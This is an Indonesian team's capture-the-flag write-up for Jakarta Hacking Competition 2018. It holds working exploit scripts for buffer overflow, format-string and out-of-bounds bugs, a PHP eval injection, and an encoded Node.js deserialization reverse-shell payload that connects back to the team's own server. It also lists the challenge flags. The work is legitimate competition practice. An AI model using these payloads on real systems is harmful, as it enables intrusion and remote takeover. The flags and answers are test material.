TOP SECRET

Jakarta Hacking Competition 2018

Nama Tim : RevID.CTF
Ketua Tim :
1. Muh. Fani Akbar

Anggota Tim:
1. Bayu Fedra Abdullah
2. Muhammad Alifa Ramdhan

Soal 1 : recovery1

Diberikan file recovery.7z, extract file lalu gunakan command :

```
~$ strings recovery1.001 -n 20 | grep flag
```

Lalu akan di dapatkan Flag

Flag : JHack2018{recov3ry_CTF_easy}

Soal 2 : image3

Diberikan file png1.7z, extrack akan terdapat file png1.png, lalu extrack file yang di sembunyikan di dalam file png1.png dengan foremost :

```
~$  foremost png1.png
```

akan terdapat 2 gambar salah satunya adalah flag

Flag : JHack2018{menc0b4_yang_t3rba1k}

Soal 3 : BlackPink No Hero

Diberikan ELF 64-bit executable, hasil decompile fungsi `main()` dengan IDA Pro:

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *s; // [sp+10h] [bp-20h]@1
  int i; // [sp+1Ch] [bp-14h]@1

  s = strdup(*argv);
  lenk = strlen(s) - 2;
  get(s);
  for ( i = 0; i < strlen(s); ++i )
    k[i] = s[i + 2];
  cor_coran(0xFFFFFFFFLL);
  cor(0xFFFFFFFFLL);
  flag(0xFFFFFFFFLL);
  return 0;
}
```

var **s** adalah nama file, program meminta 2 input passwd dan id

```
  for ( i = 0; i < strlen(s); ++i )
    k[i] = s[i + 2];
```

isi **s** mulai index ke dua di simpan ke var **k**, **s** , jadi isi **k** adalah **“JHackHero”**, program memanggil fungsi `cor_coran()` dengan argument `0xffffffff` atau -1

```
size_t __fastcall cor_coran(char a1)
{
  size_t result; // rax@3
  signed int i; // [sp+1Ch] [bp-14h]@1

  for ( i = 0; ; ++i )
  {
    result = strlen(passwd);
    if ( i >= result )
```

```
      break;
    tmp[i] = a1 ^ id ^ k[i % lenk] ^ passwd[i];
  }
  return result;
}
```

array tmp diisi `tmp[i] = a1 ^ id ^ k[i % lenk] ^ passwd[i];`

```
size_t cor()
{
  size_t result; // rax@5
  int i; // [sp+Ch] [bp-14h]@1

  for ( i = 0; ; ++i )
  {
    result = strlen(passwd);
    if ( i >= result )
      break;
    if ( tmp[i] + lenk != enc[i] )
      exit(-1);
  }
  return result;
}
```

- index tmp di compare dengan enc
- jika tidak sama program akan out
- nilai id bisa di bruteforce karena hanya range 1-255

```
#!/usr/bin/env python

from itertools import cycle

key = "JHackHero"
enc = [ 0xffffffc7, 0xffffff9a, 0xffffffae, 0xffffffc4,
        0xffffff8b, 0xffffffb3, 0xffffffc5, 0xffffffa4,
        0xffffffa4, 0xffffffc2, 0xffffffaa, 0xffffff89,
        0xffffffc5, 0xffffffba, 0xffffffa3, 0xffffff95,
        0xffffffb9, 0xffffffbf, 0xffffffac, 0xffffffb5,
        0xffffffbb, 0xffffffac, 0xffffffa7, 0xffffff95,
        0xffffffa9, 0xffffffaa, 0xffffff8f, 0xffffffb1,
        0xffffff9f, 0xffffffbb, 0xffffff93, 0xffffff93,
        0xffffffd7, 0xffffffaa, 0xffffffb1, 0xffffffc6]

for i,j in zip(range(len(enc)), cycle(key)):
    enc[i] = ((enc[i] - (0xFFFFFFFF + 1)) - len(key) ^ -1) ^ ord(j)

for i in range(256):
    flag = ""
    for j in enc:
        flag += chr(i^j)
    print flag
```

```
 $ python JHackHero.py | strings | grep _
```

Flag : JHack2018{Born_To_BE_Wild_to_Rev3rse_The_W0rld}

Soal 4 : Cookie

Diberikan web dengan alamat http://203.34.119.232/manipulateme/ , check cookie akan terdapat parameter base64 :

```
Cookie: cookie[cookie_token_csrf]=U2VsYW1hdCBhbmRhIGJlcmhhc2lsIG1lbmRlY29kZSBjb29raWUgaW5pLCBwZXJ
tYWluYW4gc2VkZXJoYW5hIHlhbmcgaGFueWEgbWVtYnV0dWhrYW4gcG9pc2lvbmluZyBjb29raWUgdW50dWsgYmlzYSBtZW5k
YXBhdGthbiBmbGFnIHlhbmcgYW5kYSBpbmdpbmthbi4gU2lsYWhrYW4gbGFrdWthbiBhcGEgeWFuZyBoYXJ1cyBhbmRhIGxha
3VrYW4gc2VsYW5qdXRueWEuIE5ldmVyIEdpdmUgVXAuLi4uLi4hISEh; cookie[flag]=UmV2ZXJzZSB0aGlzIHdvcmQgIjg
xMDJrY2FISiIgZm9yIGdldCB0aGUgZmxhZw%3D%3D
```

decode menjadi :

```
Selamat anda berhasil mendecode cookie ini, permainan sederhana yang hanya membutuhkan poisioning
 cookie untuk bisa mendapatkan flag yang anda inginkan. Silahkan lakukan apa yang harus anda laku
kan selanjutnya. Never Give Up......!!!!
Reverse this word "8102kcaHJ" for get the flag
```

requests web dengan command :

```
~$  curl -s --cookie "cookie[flag]=JHack2018" "http://203.34.119.232/manipulateme/" | grep JHack
```

Flag : JHack2018{s!mpl3_c00k!3_p0!s!0nin6}

Soal 5: As Indeed I am First In Everything!

Diberikan service pada `203.34.119.237 40004` yang bisa di remote dengan nc dan memberikan pertanyaan mengenai dota2 100x serta harus di jawab dengan cepat, buat auto solver nya :

```
from pwn import *

skill = {"Quas" : "Q","Wex" : "W", "Exort" : "E","Invoke" : "R"}
skill_name = {"QQW" : "GHOSTWALK","WWW" : "EMP","EWW" : "Alacrity".upper(),"QWW" : "TORNADO","EQW"
 : "DEAFENINGBLAST"
,"EEW" : "CHAOSMETEOR","QQQ" : "COLDSNAP","EQQ" : "ICEWALL","EEQ" : "FORGESPIRIT","EEE" : "SUNSTR
IKE"}

p = remote("203.34.119.237", 40004)

spell = ""

for i in range(1010):
    try:
        msg = p.recv().split()
        print msg
        spell = "{}{}{}".format(skill[msg[0]],skill[msg[1]],skill[msg[2]])
        spell = ''.join(sorted(spell))
        print "Spell : {}".format(spell)
        print "Name : {}".format(skill_name[spell])
        p.sendline(skill_name[spell].strip())#msg.lower())
```

```
    except:
        print p.recvall()
        break
```

Flag : JHack2018{www_wwq_eew_qqe_eee}

Soal 6: No Spesial Character

Di berikan web dengan alamat http://203.34.119.237:40001/ yang memiliki layanan tentang replacement strings, lakukan requests lalu tamper menggunakan Burp :

```
POST /api.php HTTP/1.1
Host: 203.34.119.237:40001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://203.34.119.237:40001/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 43
Cookie: session=.eJxFzk8LgjAABfCvEjtHuP8aeE2RCDpk5W2bUw9uM9M0ou9eIuj1vd-D9wHS59wnjHARBMjLA78IICaF
ggUiuWQe2H_ARoI9EFHlwHcLilaURttuKTIEB4kSps3JidiFE7K6q51ayL_ypLkwHdFR2ro5x82obim-I_qaeCNaYZ4Lvw9hO
MddtYRHnAzKpEzatBflDB69bt_rQ9P0MjpYfUtJdp7FU1Xa6PXr9eRyM7Kp-g8hJRhijindYe5R7H9_7OBQJQ.W_prOg.y8WL
7y3RJyAGtCBBveYULuPwk3o
DNT: 1
Connection: close

data=Ini%40gak%23boleh!&mod=m&replacement=+
```

lalu edit requestsnya menjadi :

```
POST /api.php HTTP/1.1
Host: 203.34.119.237:40001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://203.34.119.237:40001/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 67
Cookie: session=.eJxFzk8LgjAABfCvEjtHuP8aeE2RCDpk5W2bUw9uM9M0ou9eIuj1vd-D9wHS59wnjHARBMjLA78IICaF
ggUiuWQe2H_ARoI9EFHlwHcLilaURttuKTIEB4kSps3JidiFE7K6q51ayL_ypLkwHdFR2ro5x82obim-I_qaeCNaYZ4Lvw9hO
MddtYRHnAzKpEzatBflDB69bt_rQ9P0MjpYfUtJdp7FU1Xa6PXr9eRyM7Kp-g8hJRhijindYe5R7H9_7OBQJQ.W_prOg.y8WL
7y3RJyAGtCBBveYULuPwk3o
DNT: 1
Connection: close

data=/Ini%40gak%23boleh!/&mod=e&replacement=system('cat flag.txt');
```

Di dapatkan RCE dan kita bisa langsung membaca flag

Flag : JHack2018{Upgrade_To_PHP7_You_Will_Save}

Soal 7 :Activeme

Diberikan program python untuk mengecek serial

```
#!/usr/bin/env python

def check(key):
    key = key.replace('-','')
    if len(key) != 16:
        print "Key : {}".format(1)
        return False
    if int(key[0]) + int(key[2]) != 9:
        print "Key : {}".format(2)
        return False
    if int(key[1]) * int(key[3]) != 72:
        print "Key : {}".format(3)
        return False
    if int(key[4]) * int(key[5]) / 2 != 8:
        print "Key : {}".format(4)
        return False
    if int(key[6]) / int(key[7]) + 3 != 6:
        print "Key : {}".format(5)
        return False
    if int(key[8]) + int(key[11]) != 7:
        print "Key : {}".format(6)
        return False
    if int(key[9]) * 2 / 4 != 2:
        print "Key : {}".format(7)
        return False
    if int(key[10]) / 4 != 2:
        print "Key : {}".format(8)
        return False
    if int(key[12]) + int(key[13]) != 6:
        print "Key : {}".format(9)
        return False
    if int(key[14]) * 4 / 2 != 8:
        print "Key : {}".format(10)
        return False
    if int(key[15]) - 2 != int(key[0]):
        print "Key : {}".format(11)
        return False
    if int(key[7]) == 0:
        print "Key : {}".format(12)
        return False
    if int(key[0]) <= 3:
        print "Key : {}".format(13)
        return False
    if int(key[0]) + int(key[4]) != 12:
        print "Key : {}".format(14)
        return False
    if int(key[12]) % 2 != 0:
        print "Key : {}".format(15)
        return False
    if int(key[12]) <= 5:
```

```
        print "Key : {}".format(16)
        return False
    if int(key[1]) < int(key[3]):
        print "Key : {}".format(17)
        return False
    if int(key[5]) != int(key[7]):
        print "Key : {}".format(18)
        return False
    if int(key[6]) + int(key[8]) + int(key[10]) != 18:
        print "Key : {}".format(19)
        return False
    return True

if __name__ == "__main__":
    print "################################"
    print "# JHack2018                    #"
    print "# activeme.v.0.1               #"
    print "#                              #"
    print "################################\n"
    print "Active ME, and YOU get the flag"
    print "Format key : XXXX-XXXX-XXXX-XXXX"
    print "Input HERE : "
    key = raw_input()
    if(check(key)):
        with open("flag.txt","r") as f:
            flag = f.readline()
        print "\n[SUCCESS] " + flag
    else:
        print "\n[FAIL] Wrong serial number"
```

Untuk menyelesaikan challenge ini kami menggunakan Z3.
Berikut script nya :

```
from z3 import *

key = [BitVec("num{}".format(i),8) for i in range(16)]
s = Solver()

for i in range(len(key)):
    s.add(key[i] >= 0)
    s.add(key[i] < 10)

s.add(key[7] != 0)
s.add(key[0] > 3)
s.add(key[12] > 5)
s.add(key[1] > key[3])
s.add(key[0] + key[2] == 9)
s.add(key[1] * key[3] == 72)
s.add(key[4] * key[5] / 2 == 8)
s.add(key[6] / key[7] + 3 == 6)
s.add(key[8] + key[11] == 7)
s.add(key[9] * 2 / 4 == 2)
s.add(key[10] / 4 == 2)
s.add(key[12] + key[13] == 6)
s.add(key[14] * 4 / 2 == 8)
s.add(key[15] - 2 == key[0])
s.add(key[0] + key[4] == 12)
s.add(key[12] % 2 == 0)
```

```
s.add(key[5] == key[7])
s.add(key[6] + key[8] + key[10] == 18)


if s.check() == sat:
    m = s.model()
    hasil = [str(m[i].as_long()) for i in key]
    print "".join(hasil)
    # 4958-8262-4483-6046
```

```
$ python activeme_solver.py
4958826244836046
nc 203.34.119.232 20101
################################
# JHack2018                    #
# activeme.v.0.1               #
#                              #
################################

Active ME, and YOU get the flag
Format key : XXXX-XXXX-XXXX-XXXX
Input HERE :
4958-8262-4483-6046

[SUCCESS] JHack2018{y0uR_s0lver_is_g00d}
```

Flag : JHack2018{y0uR_s0lver_is_g00d}

Soal 8: Fun Lottery Game

Diberikan binary bernama `rev_new` yang meminta inputan.
pada fungsi `init()` terdapat pemanggilan fungsi `srand(time() % 256)`. Yang digunakan sebagai **seed** fungsi `rand()`.

```
 v0 = time(0LL);
  srand((unsigned __int8)(((unsigned __int64)(v0 >> 63) >> 56) + v0) - ((unsigned __int64)(v0 >>
63) >> 56));
```

Pada fungsi `do_lottery()` terdapat permainan ganji genap

```
__int64 __fastcall do_lottery(int a1)
{
  int v1; // eax@2
  int v2; // eax@3
  int v4; // [sp+1Ch] [bp-14h]@2

  if ( a1 & 1 )
  {
    v2 = rand();
    v4 = (a1 - 5) ^ ((unsigned __int8)(((unsigned int)(v2 >> 31) >> 24) + v2) - ((unsigned int)(v
2 >> 31) >> 24));
  }
  else
  {
    v1 = rand();
```

```
    v4 = (a1 + 5) ^ ((unsigned __int8)(((unsigned int)(v1 >> 31) >> 24) + v1) - ((unsigned int)(v
1 >> 31) >> 24));
  }
  return (unsigned int)v4;
}
```

nilai dari `a1` adalah **stage** nya.

Sebenar nya mustahil untuk menebak nilai dari `rand()` tapi karena program menggunakan time sebagai seed, ini memungkinkan untuk menebak nilai `rand()` .

script solver yang kami gunakan

```
import ctypes
from pwn import *

DEBUG = 0

c = ctypes.CDLL("libc.so.6")
c.srand(c.time() % 256)

if DEBUG:
    p = process("./rev_new")
    gdb.attach(p,'''b *0x0000000000400E9C''')
else:
    p = remote("203.34.119.237",20001)

def do_lottery(i):
    if (i % 2 == 0):
        r = c.rand() % 256
        v4 = (i + 5) ^ r
        print "Rand {}".format(r)
    else:
        r = c.rand() % 256
        v4 = (i - 5) ^ r
        print "Rand {}".format(r)
    return v4


for i in range(32):
    print p.recvuntil("Stage :  {}".format(i))
    for j in range(32):
        ans = do_lottery(i)
        p.recvuntil("> ")
        print "Ans : {}".format(ans)
        p.sendline(str(ans))
print p.recvall()
```

```
$ python rev_solver.py
....
Ans : 26
Rand 216
Ans : 194
Rand 188
Ans : 166
Rand 233
Ans : 243
```

```
Rand 175
Ans : 181
Rand 181
Ans : 175
[+] Receiving all data: Done (51B)
[*] Closed connection to 203.34.119.237 port 20001
Flag : JHack2018{a9b8ccb6e15e223617f5feb3407317f3}
```

Flag : JHack2018{a9b8ccb6e15e223617f5feb3407317f3}

Soal 9: Verguso

Diberikan binary 64bit bernama `verguso` dimana binary ini vulnerable `classic buffer overflow`

Fungsi yang memanggil flag ada di `00000000004005b6 T verguso`.

Dibutuhkan 136 bytes untuk mengoverwrite nilai dari register `RIP`

script exploit yang dingunakan

```
from pwn import *

DEBUG = 0
if DEBUG:
    p = process("./verguso")
else:
    p = remote("203.34.119.232", 6006)

payload = ""
payload += "A" * 136
payload += p64(0x4005b6)
p.sendline(payload)
p.interactive()
```

```
$ python verguso_sploit.py
[+] Opening connection to 203.34.119.232 on port 6006: Done
[*] Switching to interactive mode
Tidak Semudah ItuJHack2018{cac66b83927f9e1d48cd3a8ffad813e8}
[*] Got EOF while reading in interactive
```

Flag : JHack2018{cac66b83927f9e1d48cd3a8ffad813e8}

Soal 10 : Final Attend

Diberikan sebuah web “http://203.34.119.237:40002/flag" web tersebut dibuat menggunakan node js.
Pada bagian cookie, terdapat penggunakan format `json`, kami menduga di bagian backend akan melakukan `unserialize` pada cookie tersebut.

Untuk membuat payload reverse shell, kami menggunakan nodejsshell.py (https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py)

```
python nodejsshell.py 18.222.40.XXX 2211
[+] LHOST = 18.222.40.XXX
[+] LPORT = 2211
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,
110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,
39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,
61,34,49,56,46,50,50,50,46,52,48,46,49,56,57,34,59,10,80,79,82,84,61,34,50,50,49,49,34,59,10,84,73
,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105
,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39
,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111
,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,
116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,
116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,
84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,
119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,
111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41
,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,
105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,
105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,
99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,
32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,
10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101
,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,
110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,
32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,
33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99
,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,
40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,
83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,
72,79,83,84,44,80,79,82,84,41,59,10))
```

`{"peserta":"PAYLOAD_NODEJSSHELL","kota":"test","instansi":"test"}`

lalu kami ubah ke base64 dan di jadikan cookie `final`.

Pada vps kami listen di port 2211 dan mendapatkan reverse shell.

```
$ nc -vlp 2211
Listening on [0.0.0.0] (family 0, port 2211)
Connection from [203.34.119.11] port 2211 [tcp/*] accepted (family 2, sport 44662)
Connected!
ls
Dockerfile
app.js
bin
flag.txt
node_modules
package-lock.json
package.json
public
routes
views
cat flag.txt
JHack2018{SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSserialize_Make_You_Crazy}
```

Flag :

JHack2018{SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSeriali ze_Make_You_Crazy}

Soal 11 : Print It

Diberikan binary 64bit bernama `print_a`, diketahui binary tersebut vulnerable `format string attack`.
Dengan proteksi sebagai berikut

```
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL
```

target kami adalah memanggil syscall `execve("/bin/sh",0,0)` menggunakan `One Gadget RCE`.
Sebelum bisa menggunakan One gadget rce, harus dilakukan leak terlebih dahulu address dari libc sehingga bisa di kalkulasikan base address nya.
Karena binary ini di proteksi `FULL RELRO` sehingga tidak bisa meng overwrite .got.plt, sehingga dilakukan leak terhadap `Saved RIP` dan write one gadget rce di address tersebut, lalu exit, sehingga `execve("/bin/sh",0,0)` akan terpanggil.

exploit yang digunakan

```
from pwn import *

DEBUG = False

if DEBUG:
    p = process("./printf_a")
    # gdb.attach(p,'''b *main+128''')
else:
    p = remote("203.34.119.237",30001)

one_gadget = 0xf1147
libc_start_main_offset = 0x0000000000020740

def leak(pload):
    p.sendline(pload)
    r = p.recv().strip("\n")
    print repr(r)
    r = int(r,16)
    return r

libc_start_main = leak("%27$p") - 240
save_rip_addr = leak("%29$p") - 224
base_address = libc_start_main - libc_start_main_offset
one_gadget = one_gadget + base_address

print "Libc Start Main : 0x{:x}".format(libc_start_main)
print "Saved Rip : 0x{:x}".format(save_rip_addr)
print "One gadget : 0x{:x}".format(one_gadget)

o = map(ord, p64(one_gadget).replace("\x00", ""))
```

```
for i,v in enumerate(o):
    payload = ""
    payload += "%{}c".format(o[i]-(3-(len(str(o[i])) - 3))).ljust(8,"A")
    payload += "%8$hhn".ljust(8,"A")
    payload += p64(save_rip_addr+i)
    p.sendline(payload)

p.sendline("E")
p.interactive()
```

```
$ python printf_sploit.py
....
$ ls
chall
flag
$ cat flag
JHack2018{8c7cdb812f1266b84b7271be439b1052}
```

Flag : JHack2018{8c7cdb812f1266b84b7271be439b1052}

Soal 12 : Web Browser

Diberikan sebuah web http://203.34.119.232:10006/

Untuk menyelesaikan nya kami menggunakan user agent : Jakarta-Hacking-Browser, X-Forwarded-For : 203.34.119.232 dan Referer: JHackBrowser

```
GET / HTTP/1.1
Host: 203.34.119.232:10006
User-Agent: Jakarta-Hacking-Browser
X-Forwarded-For: 203.34.119.232
Referer: JHackBrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1
```

Sehingga didaptkan flag

Flag : JHack2018{Y0u_4r3_Th3_trU3_4GenT}

Soal 13 : Kelas Jhack

Diberikan binary elf 64bit, di program ini kita bisa menambahkan atau menghapus siswa sesuai dengan index yang diberikan. Kami menyadari bahwa program ini memiliki bug array out of bound dimana kita dapat memberikan index yang kurang dari 0.

```
__int64 __fastcall sub_4009AE(__int64 a1)
{
  signed int v2; // [sp+1Ch] [bp-4h]@1

  printf("Enter index : ");
  v2 = read_input();
  printf("%d\n", (unsigned int)v2);
```

```
  if ( v2 > 7 )
    puts("Stay away from my service, hackers!");
  printf("Enter the name of students : ");
  return sub_400827((void *)(30LL * v2 + a1), 0x1Du);
}
```

Setelah kami kalkulasikan, kita dapat memberikan index -2, dan mengoverwrite dan mengontrol return address ke alamat yang kita inginkan.

Beruntungnya sudah terdapat alamat instruksi yang akan memberikan kita shell yang berada pada 0x400816, jadi kami tidak perlu ribet-ribet membuat ropchain.

```
.text:0000000000400816 ; ---------------------------------------------------------------------------
.text:0000000000400816                 push    rbp
.text:0000000000400817                 mov     rbp, rsp
.text:000000000040081A                 mov     edi, offset aBinSh ; "/bin/sh"
.text:000000000040081F                 call    _system
.text:0000000000400824                 nop
.text:0000000000400825                 pop     rbp
.text:0000000000400826                 retn
```

Berikut dibawah adalah exploit yang kami buat.

```
from pwn import *

#p = process("./main")
p = remote("203.34.119.237", 30000)
p.sendlineafter('>', '2')
p.sendlineafter(': ', '-2')
payload = "A"*(28-8) + p64(0x400816) # Overwrite return address with 0x400816
p.sendline(payload)
p.interactive()
```

```
$ python kelas_sploit.py
[+] Opening connection to 203.34.119.237 on port 30000: Done
[*] Switching to interactive mode
-2
Enter the name of students : $ ls
chall
flag
$ cat flag
JHack2018{2098c048b4a46eb96ad63674a53f6544}
```

Flag : JHack2018{2098c048b4a46eb96ad63674a53f6544}